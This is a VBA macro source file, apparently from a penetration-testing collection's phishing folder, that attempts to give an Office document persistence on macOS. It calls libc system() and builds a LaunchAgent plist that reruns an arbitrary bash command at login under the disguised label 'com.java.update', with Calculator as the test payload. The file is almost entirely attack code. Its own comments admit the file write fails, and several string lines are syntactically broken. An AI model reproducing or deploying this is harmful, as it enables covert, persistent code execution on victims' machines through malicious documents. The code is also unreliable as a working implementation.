mgeeky-Penetration-Testing-.../phishing/vba-macro-mac-persistence.vbs
2021-10-17 15:22:05 +02:00

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#If VBA7 Then
' 64-bit Mac (2016)
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "system" _
(ByVal command As String) As Long
Private Declare PtrSafe Function fopen Lib "libc.dylib" Alias "fopen" _
(ByVal file As String, ByVal mode As String) As LongPtr
Private Declare PtrSafe Function fputs Lib "libc.dylib" Alias "fputs" _
(ByVal str As String, ByVal file As LongPtr) As Long
Private Declare PtrSafe Function fclose Lib "libc.dylib" Alias "fclose" _
(ByVal file As LongPtr) As Long
#Else
' 32-bit Mac
Private Declare Function system Lib "libc.dylib" Alias "system" _
(ByVal command As String) As Long
Private Declare Function fopen Lib "libc.dylib" Alias "fopen" _
(ByVal file As String, ByVal mode As String) As Long
Private Declare Function fputs Lib "libc.dylib" Alias "fputs" _
(ByVal str As String, ByVal file As Long) As Long
Private Declare Function fclose Lib "libc.dylib" Alias "fclose" _
(ByVal file As Long) As Long
#End If
Sub writeToFile(ByVal file As String, ByVal txt As String)
#If Mac Then
#If VBA7 Then
Dim fp As LongPtr
#Else
Dim fp As Long
#End If
Dim grants
grants = Array(file)
GrantAccessToMultipleFiles(grants)
' BUG: fopen will return 0 here.
fp = fopen(file, "w")
If fp = 0 Then: Exit Sub
fputs txt, fp
fclose(fp)
#End If
End Sub
Sub MacPersistence(ByVal cmd As String, ByVal taskName As String)
Dim plist As String
plist = "<?xml version=""1.0"" encoding=""UTF-8""?>\n"
plist = plist & "<!DOCTYPE plist PUBLIC ""-//Apple Computer//DTD "
plist = plist & "PLIST 1.0//EN"" ""http://www.apple.com/DTDs/plist"
plist = plist & " = plist & PropertyList-1.0.dtd"">\n"
plist = plist & "<plist version=""1.0"">\n
plist = plist & "<dict>\n"
plist = plist & " <key>Label</key>\n"
plist = plist & " <string>" & taskName & "</string>\n"
plist = plist & " <key>ProgramArguments</key>\n"
plist = plist & " <array>\n"
plist = plist & " <string>/bin/bash</string>\n"
plist = plist & " <string>-c</string>\n"
plist = plist & " <string>'" & cmd & "'</string>\n"
plist = plist & " </array>\n"
plist = plist & " <key>RunAtLoad</key>\n"
plist = plist & " <true/>\n"
plist = plist & " <key>KeepAlive</key>\n"
plist = plist & " <true/>\n"
plist = plist & "</dict>\n"
plist = plist & "</plist>\n"
' TODO: File writing does not work at the moment, most likely due to
' apps sandboxing mechanism enforced by the system.
' Approach #1: File write by system command
' system("echo -e """ & plist & """ > ~/Library/LaunchAgents/" & taskName)
' Approach #2: File write by fopen+fputs+fclose
Dim fileName As String
fileName = "~/Library/LaunchAgents/" & taskName & ".plist"
writeToFile fileName, plist
End Sub
Sub TestMacPersistence()
MacPersistence "/Applications/Calculator.app/Contents/MacOS/Calculator", "com.java.update"
End Sub